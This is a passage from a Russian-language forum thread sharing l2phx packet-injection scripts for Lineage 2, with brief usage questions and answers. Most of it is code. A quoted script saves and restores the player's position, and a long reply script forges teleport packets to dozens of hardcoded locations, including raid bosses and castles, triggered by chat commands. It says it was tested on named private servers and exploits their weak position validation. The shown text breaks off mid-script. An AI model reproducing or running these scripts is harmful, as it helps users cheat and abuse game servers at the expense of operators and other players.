Регистрация Главная Пользователи Все разделы прочитаны
Сообщения за день Справка Регистрация

Скрипты для l2phx

-

Скрипты и перехват пакетов

- Скрипты и перехват пакетов

Ответ
 
Опции темы
Старый 12.06.2010, 23:28   #46
 Разведчик
Аватар для gos1k
 
gos1k никому не известный тип
Регистрация: 10.06.2010
Сообщений: 2
Популярность: 12
Сказал(а) спасибо: 0
Поблагодарили 1 раз в 1 сообщении
 
По умолчанию Re: Скрипты для l2phx

Цитата:
Сообщение от MarkoPoloПосмотреть сообщение
Скрипт на тп , то место которое запомнили(для серверов с тупой гео) Тестил на Interlude
Автор: pmen
Взято c сoderx.ru

Код:
var
// переменная
x:integer; y:integer;     
a:integer; b:boolean;  z:integer;
procedure Init; //Вызывается при включении скрипта
begin
SendMsc('Возьми себя в таргет');
b:=false;
end;
procedure SendMsc(msc:string);
begin
buf:=#$4A;
WriteD(0);
WriteD(10);
WriteS('');
WriteS(msc);
SendToClient;
end;
Begin
begin
if FromClient and (pck[1]=#$04)and (not b) then 
begin
a:=ReadD(2); x:=ReadD(6);
y:=ReadD(10); z:=ReadD(14);
SendMsc('Запомнен ObjectID = '+inttostr(a));
SendMsc('Запомнен x = '+inttostr(x));
SendMsc('Запомнен y = '+inttostr(y));
SendMsc('Запомнен z = '+inttostr(z));
b:=true;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 73 00 6F 00 68 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
Writed(x);
Writed(y); 
Writed(z);
SendToClient;
end;
end;
end.
Удобно Использовать вместе с скриптом на тп.Например ходить на твт(Сохранил точку где появился, тп в город за бафом и потом обратно на арену) .

как этим пользоваться пишет наведите на себя тарге я навожу пишет координаты а что дальше то?
  Ответить с цитированием
Пользователь сказал cпасибо:
kirill58554 (15.01.2011)
Старый 13.06.2010, 05:10   #47
Заблокирован
 Пехотинец
Аватар для necros555
 
necros555 скоро будет известенnecros555 скоро будет известенnecros555 скоро будет известен
Регистрация: 09.12.2009
Сообщений: 60
Популярность: 234
Сказал(а) спасибо: 25
Поблагодарили 112 раз(а) в 59 сообщениях
 
По умолчанию Re: Скрипты для l2phx

Цитата:
Сообщение от gos1kПосмотреть сообщение
как этим пользоваться пишет наведите на себя тарге я навожу пишет координаты а что дальше то?

попробуй этот тут себя в таргет береш и в чат пишеш город //.goddard с //этим или нет не помню попробуеш разберешся
Код:
//******************************************************************************
{version 0.2 By tiranous How to teleport self anywhere you want

1.check the script
2.target yourself
3.teleport to every location you want
4.use one active skill (common craft,heal,etc)
5.Tested in L2DeathWhisper,L2Core,L2Evo,l2gm,l2zer0
}
//******************************************************************************
//Towns
//
//.gludio
//.gludiowh 
//.goddard
//.goddardwh 
//.aden
//.adenwh   
//.giran
//.giranwh 
//.rune 
//.oren 
//.heine 
//.dion 
//.schuttgart 
//.gludin 
//.elventree
//.elvenwh
//.elven
//.darkelven
//.darkelvenwh
//.dwarven
//.dwarvenwh
//.orcvillage
//.orcvillagewh
//.talkingisle
//.floran
//.hunter
//.hunterwh
//
//Harbors
//
//.giranharbor
//.runeharbor
//
//Castles
//
//.adencastle 
//.runecastle 
//.goddardcastle 
//.girancastle 
//.orencastle 
//.gludiocastle 
//.dioncastle 
//.schuttgartcastle 
//.innadrilcastle 
//
//Castle's Pray
//.giranpray
//.adenpray
//.runepray
//.orenpray
//.dionpray
//.gludiopray
//.innadrilpray
//.goddardpray1
//.goddardpray2
//.schuttgartpray1
//.schuttgartpray2
//
//Farm Places
//
//.dino 
//.vos 
//.varka 
//.mos 
//.ketra
//.hotsprings
//.imperialtomb
//.wallofargos
//.forgeofthegods
//.skarato
//.valleyofsaint
//.lostnest
//.blaizing
//.darkomens
//.aligaorisle
//.cruma
//
//Other Places
//
//.olympiad
//.olympiad2
//.dwarventower
//.dwarventower2
//.fieldofsilence
//.hideway
//.sea 
//.mount 
//.jail    
//.adencrest 
//.vodopad  
//.coliseum
//.secretcastle 
//.placetohide
// 
//Raid Bosses
//Special Raid Bosses
//
//.qa
//.core
//.orfen
//.zaken
//.baium
//.benom
//.antharas
//.valakas
//.frintezza
//.tyrannosaurus1
//.tyrannosaurus2
//.tyrannosaurus3
//
//70-80 lvl rbs
//
//.varkarb1
//.varkarb2
//.varkarb3
//.ketrarb1
//.ketrarb2
//.ketrarb3
//.ember
//.galaxia
//.golkonda
//.giantglaki
//lowest lvl rbs
//
//.blaizingrb1
//.blaizingrb2
//.blaizingrb3
//.blaizingrb4
//.blaizingrb5
//.hallate
//.korim
//.kernon
//.rahha
//.gorgolos
//.verfa
//
//Noblesse Quest
//
//.talien 
//.gabrielle 
//.gilmore
//.baraham 
//.melodymaestro
//.marluk 
//.stedmiel 
//.virgil 
//.rahorakti
//.splinterstakato 
//.caradine 
//.noel 
//.mdk 
//.kalis 
//.matild 
//.unicorn 
//.jp 
//.noblrb
//.ladd

var
//
ValidatePosition:string; c:integer; e:integer; n:integer; r:boolean;     
a:integer; b:boolean;  d:integer; f:integer; v:integer;
procedure Init; 
begin
SendMsc('Возьми себя в таргет!!!');
b:=false;
end;
procedure SendMsc(msc:string);
begin
buf:=#$4A;
WriteD(0);
WriteD(10);
WriteS('tiranous');
WriteS(msc);
SendToClient;
end;
Begin
begin
if FromClient and (pck[1]=#$04)and (not b) then 
begin
a:=ReadD(2); c:=ReadD(6);
d:=ReadD(10); e:=ReadD(14);
f:=ReadC(18);
SendMsc('Запомнен ID Обьекта = '+inttostr(a));
b:=true;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 71 00 61 00 00 00 00 00 00 00')) then  
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('C8 AB FF FF 17 C4 02 00 A6 E9 FF FF'); 
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 63 00 6F 00 72 00 65 00 00 00 00 00 00 00')) then  
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('61 45 00 00 5E B5 01 00 48 E6 FF FF '); 
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 6F 00 72 00 66 00 65 00 6E 00 00 00 00 00 00 00')) then  
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('32 D3 00 00 A6 42 00 00 5E EA FF FF'); 
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 7A 00 61 00 6B 00 65 00 6E 00 00 00 00 00 00 00')) then  
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('71 D6 00 00 DF 57 03 00 67 F3 FF FF'); 
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 62 00 61 00 69 00 75 00 6D 00 00 00 00 00 00 00')) then  
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('0E C2 01 00 D6 40 00 00 5D 27 00 00'); 
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 62 00 65 00 6E 00 6F 00 6D 00 00 00 00 00 00 00')) then  
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('B8 2F 00 00 A0 3E FF FF 3F F4 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 61 00 6E 00 74 00 68 00 61 00 72 00 61 00 73 00 00 00 00 00 00 00')) then  
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('6C D5 02 00 7A BE 01 00 E4 DF FF FF'); 
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 76 00 61 00 6C 00 61 00 6B 00 61 00 73 00 00 00 00 00 00 00')) then  
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('0D 46 03 00 C8 3D FE FF 9C F9 FF FF'); 
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 66 00 72 00 69 00 6E 00 74 00 65 00 7A 00 7A 00 61 00 00 00 00 00 00 00')) then  
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('A6 A8 02 00 8D A2 FE FF 0D EC FF FF'); 
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 74 00 79 00 72 00 61 00 6E 00 6E 00 6F 00 73 00 61 00 75 00 72 00 75 00 73 00 31 00 00 00 00 00 00 00')) then  
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('CF 4E 00 00 17 DD FF FF 2B F5 FF FF'); 
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 74 00 79 00 72 00 61 00 6E 00 6E 00 6F 00 73 00 61 00 75 00 72 00 75 00 73 00 32 00 00 00 00 00 00 00')) then  
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('F3 59 00 00 B5 C5 FF FF 0D F4 FF FF'); 
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 74 00 79 00 72 00 61 00 6E 00 6E 00 6F 00 73 00 61 00 75 00 72 00 75 00 73 00 33 00 00 00 00 00 00 00')) then  
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('7E 67 00 00 49 BD FF FF 51 F5 FF FF'); 
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 76 00 61 00 72 00 6B 00 61 00 72 00 62 00 31 00 00 00 00 00 00 00')) then 
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('3F C4 01 00 23 67 FF FF 6A F6 FF FF'); 
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 76 00 61 00 72 00 6B 00 61 00 72 00 62 00 32 00 00 00 00 00 00 00')) then  
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('56 A9 01 00 DA 73 FF FF 9B FC FF FF'); 
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 76 00 61 00 72 00 6B 00 61 00 72 00 62 00 33 00 00 00 00 00 00 00')) then  
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('7C 9D 01 00 66 59 FF FF 31 F9 FF FF'); 
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 6B 00 65 00 74 00 72 00 61 00 72 00 62 00 31 00 00 00 00 00 00 00')) then  
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('42 43 02 00 0A DD FE FF DB EC FF FF'); 
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 6B 00 65 00 74 00 72 00 61 00 72 00 62 00 32 00 00 00 00 00 00 00')) then  
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('FA 39 02 00 72 C0 FE FF 8D E8 FF FF'); 
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 6B 00 65 00 74 00 72 00 61 00 72 00 62 00 33 00 00 00 00 00 00 00')) then  
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('6C 37 02 00 F9 B3 FE FF AD E7 FF FF'); 
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 65 00 6D 00 62 00 65 00 72 00 00 00 00 00 00 00')) then  
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('A2 D1 02 00 8A 61 FE FF 5A E7 FF FF'); 
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 67 00 61 00 6C 00 61 00 78 00 69 00 61 00 00 00 00 00 00 00')) then  
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('EB BC 01 00 E1 3B 00 00 5D 25 00 00'); 
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 67 00 6F 00 6C 00 6B 00 6F 00 6E 00 64 00 61 00 00 00 00 00 00 00')) then  
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('04 C7 01 00 13 3E 00 00 55 1B 00 00'); 
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 62 00 6C 00 61 00 69 00 7A 00 69 00 6E 00 67 00 72 00 62 00 31 00 00 00 00 00 00 00')) then  
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('19 59 02 00 55 C7 FF FF 91 F1 FF FF'); 
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 62 00 6C 00 61 00 69 00 7A 00 69 00 6E 00 67 00 72 00 62 00 32 00 00 00 00 00 00 00')) then  
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('76 65 02 00 25 E8 FF FF BF EF FF FF'); 
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 62 00 6C 00 61 00 69 00 7A 00 69 00 6E 00 67 00 72 00 62 00 33 00 00 00 00 00 00 00')) then  
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('69 3E 02 00 19 AF FF FF 93 F2 FF FF'); 
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 62 00 6C 00 61 00 69 00 7A 00 69 00 6E 00 67 00 72 00 62 00 34 00 00 00 00 00 00 00')) then  
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('DC 19 02 00 20 B4 FF FF 0B F2 FF FF'); 
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 62 00 6C 00 61 00 69 00 7A 00 69 00 6E 00 67 00 72 00 62 00 35 00 00 00 00 00 00 00')) then  
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('4E 35 02 00 BE 92 FF FF 74 F8 FF FF'); 
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 68 00 61 00 6C 00 6C 00 61 00 74 00 65 00 00 00 00 00 00 00')) then  
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('3E BB 01 00 9C 41 00 00 B1 F7 FF FF'); 
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 6B 00 6F 00 72 00 69 00 6D 00 00 00 00 00 00 00')) then   
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('07 C7 01 00 F6 3E 00 00 9B 07 00 00'); 
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 6B 00 65 00 72 00 6E 00 6F 00 6E 00 00 00 00 00 00 00')) then  
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('9F BB 01 00 8B 41 00 00 7F 0F 00 00'); 
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 67 00 69 00 61 00 6E 00 74 00 67 00 6C 00 61 00 6B 00 69 00 00 00 00 00 00 00')) then  
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('F6 A0 02 00 0F D7 00 00 D6 E8 FF FF'); 
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 72 00 61 00 68 00 68 00 61 00 00 00 00 00 00 00')) then   
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('3F CB 01 00 1B DC FF FF 44 F3 FF FF'); 
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 67 00 6F 00 72 00 67 00 6F 00 6C 00 6F 00 73 00 00 00 00 00 00 00')) then  
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('89 D6 02 00 11 F0 00 00 C5 EF FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 76 00 65 00 72 00 66 00 61 00 00 00 00 00 00 00')) then  
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('C5 EA 01 00 CD 69 00 00 D4 F1 FF FF'); 
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 67 00 6F 00 64 00 64 00 61 00 72 00 64 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('CE 41 02 00 0E 28 FF FF 57 F5 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 61 00 64 00 65 00 6E 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('89 3B 02 00 B0 64 00 00 23 F8 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 67 00 69 00 72 00 61 00 6E 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('0A 43 01 00 9E 44 02 00 74 F2 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 72 00 75 00 6E 00 65 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('2A AB 00 00 7E 45 FF FF E7 FC FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 72 00 75 00 6E 00 65 00 63 00 61 00 73 00 74 00 6C 00 65 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('11 28 00 00 12 40 FF FF ED FE FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 61 00 64 00 65 00 6E 00 63 00 61 00 73 00 74 00 6C 00 65 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('F6 3F 02 00 2C 12 00 00 B1 FE FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 67 00 6F 00 64 00 64 00 61 00 72 00 64 00 63 00 61 00 73 00 74 00 6C 00 65 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('04 40 02 00 6E 43 FF FF 21 F7 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 67 00 69 00 72 00 61 00 6E 00 63 00 61 00 73 00 74 00 6C 00 65 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('1B C7 01 00 C7 36 02 00 02 F6 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 6F 00 72 00 65 00 6E 00 63 00 61 00 73 00 74 00 6C 00 65 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('90 42 01 00 45 91 00 00 13 F7 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 67 00 6C 00 75 00 64 00 69 00 6F 00 63 00 61 00 73 00 74 00 6C 00 65 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('40 B9 FF FF 65 AB 01 00 45 F6 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 64 00 69 00 6F 00 6E 00 63 00 61 00 73 00 74 00 6C 00 65 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('3A 56 00 00 60 72 02 00 83 F5 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 73 00 63 00 68 00 75 00 74 00 74 00 67 00 61 00 72 00 74 00 63 00 61 00 73 00 74 00 6C 00 65 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('E0 2E 01 00 31 A9 FD FF 80 FE FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 69 00 6E 00 6E 00 61 00 64 00 72 00 69 00 6C 00 63 00 61 00 73 00 74 00 6C 00 65 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('39 C5 01 00 09 CD 03 00 F2 FC FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 6A 00 61 00 69 00 6C 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('E2 40 FE FF ED 30 FC FF 5B F4 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 6F 00 72 00 65 00 6E 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('91 41 01 00 63 D7 00 00 0C FA FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 68 00 65 00 69 00 6E 00 65 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('0B B2 01 00 89 57 03 00 2A F2 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 64 00 69 00 6F 00 6E 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('3C 49 00 00 1D 38 02 00 C9 F3 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 73 00 68 00 75 00 74 00 74 00 67 00 61 00 72 00 74 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('3E 55 01 00 62 D5 FD FF C8 FA FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 67 00 6C 00 75 00 64 00 69 00 6E 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('89 BB FE FF 07 4D 02 00 C8 F3 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 64 00 69 00 6E 00 6F 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('E4 28 00 00 07 A0 FF FF C3 F1 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 61 00 64 00 65 00 6E 00 63 00 72 00 65 00 73 00 74 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('FF 41 02 00 A5 0F 00 00 FC 11 00 00');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 76 00 6F 00 64 00 6F 00 70 00 61 00 64 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('12 A9 02 00 93 62 01 00 33 07 00 00');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 76 00 6F 00 73 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('D6 18 01 00 39 96 FE FF 74 FA FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 76 00 61 00 72 00 6B 00 61 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('59 EA 01 00 18 60 FF FF 79 F1 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 6D 00 6F 00 73 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('9D 9F 01 00 0E A9 FE FF 9D F4 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 6B 00 65 00 74 00 72 00 61 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('0A 3E 02 00 C4 F8 FE FF B9 F1 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 63 00 6F 00 6C 00 69 00 73 00 65 00 75 00 6D 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('46 4A 02 00 8D B6 00 00 B1 F2 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 61 00 71 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('96 AB FF FF 5A C5 02 00 9F E9 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 7A 00 61 00 6B 00 65 00 6E 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('10 D8 00 00 20 58 03 00 6E F3 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 62 00 61 00 69 00 75 00 6D 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('0D C2 01 00 EF 40 00 00 65 27 00 00');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 61 00 6E 00 74 00 68 00 61 00 72 00 61 00 73 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('6C D5 02 00 7A BE 01 00 E8 DF FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 76 00 61 00 6C 00 61 00 6B 00 61 00 73 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('88 43 03 00 14 3D FE FF 99 F9 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 66 00 72 00 69 00 6E 00 74 00 65 00 7A 00 7A 00 61 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('9E A8 02 00 44 A2 FE FF BD EB FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 74 00 61 00 6C 00 69 00 65 00 6E 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('1F 41 02 00 FA 66 00 00 A4 F7 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 67 00 61 00 62 00 72 00 69 00 65 00 6C 00 6C 00 65 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('89 3D 01 00 CF 48 02 00 74 F2 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 67 00 69 00 6C 00 6D 00 6F 00 72 00 65 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('DA 1D 01 00 DD CE 01 00 92 F1 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 62 00 61 00 72 00 61 00 68 00 61 00 6D 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('1F 53 00 00 70 D0 02 00 F5 F2 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 6D 00 65 00 6C 00 6F 00 64 00 79 00 6D 00 61 00 65 00 73 00 74 00 72 00 6F 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('DC A1 01 00 8D 4F 03 00 F5 F1 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 6D 00 61 00 72 00 6C 00 75 00 6B 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('F5 D1 01 00 DD C7 01 00 63 F1 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 73 00 74 00 65 00 64 00 6D 00 69 00 65 00 6C 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('44 D4 01 00 D4 2D 01 00 3D F7 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 76 00 69 00 72 00 67 00 69 00 6C 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('DA 80 00 00 9D 43 FF FF F5 06 00 00');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 72 00 61 00 68 00 6F 00 72 00 61 00 6B 00 74 00 69 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('B6 95 00 00 91 3F FF FF 98 FB FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 73 00 70 00 6C 00 69 00 6E 00 74 00 65 00 72 00 73 00 74 00 61 00 6B 00 61 00 74 00 6F 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('BD 24 01 00 AD 4A FF FF 63 F3 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 63 00 61 00 72 00 61 00 64 00 69 00 6E 00 65 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('7F 4A 02 00 D6 1D FF FF 5C F4 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 6E 00 6F 00 65 00 6C 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('20 3C 02 00 45 1A FF FF 64 F4 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 6D 00 64 00 6B 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('03 7B 01 00 F1 14 FF FF 5C F6 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 6B 00 61 00 6C 00 69 00 73 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('63 74 01 00 AE 56 00 00 C0 F4 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 6D 00 61 00 74 00 69 00 6C 00 64 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('D4 10 01 00 AF 46 00 00 B4 F1 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 75 00 6E 00 69 00 63 00 6F 00 72 00 6E 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('7D 4F 01 00 0E D5 FE FF 6E F2 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 6A 00 70 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('B0 47 01 00 10 C7 FE FF 4A F2 FF FF');
SendToClient;
end;
end;
Begin
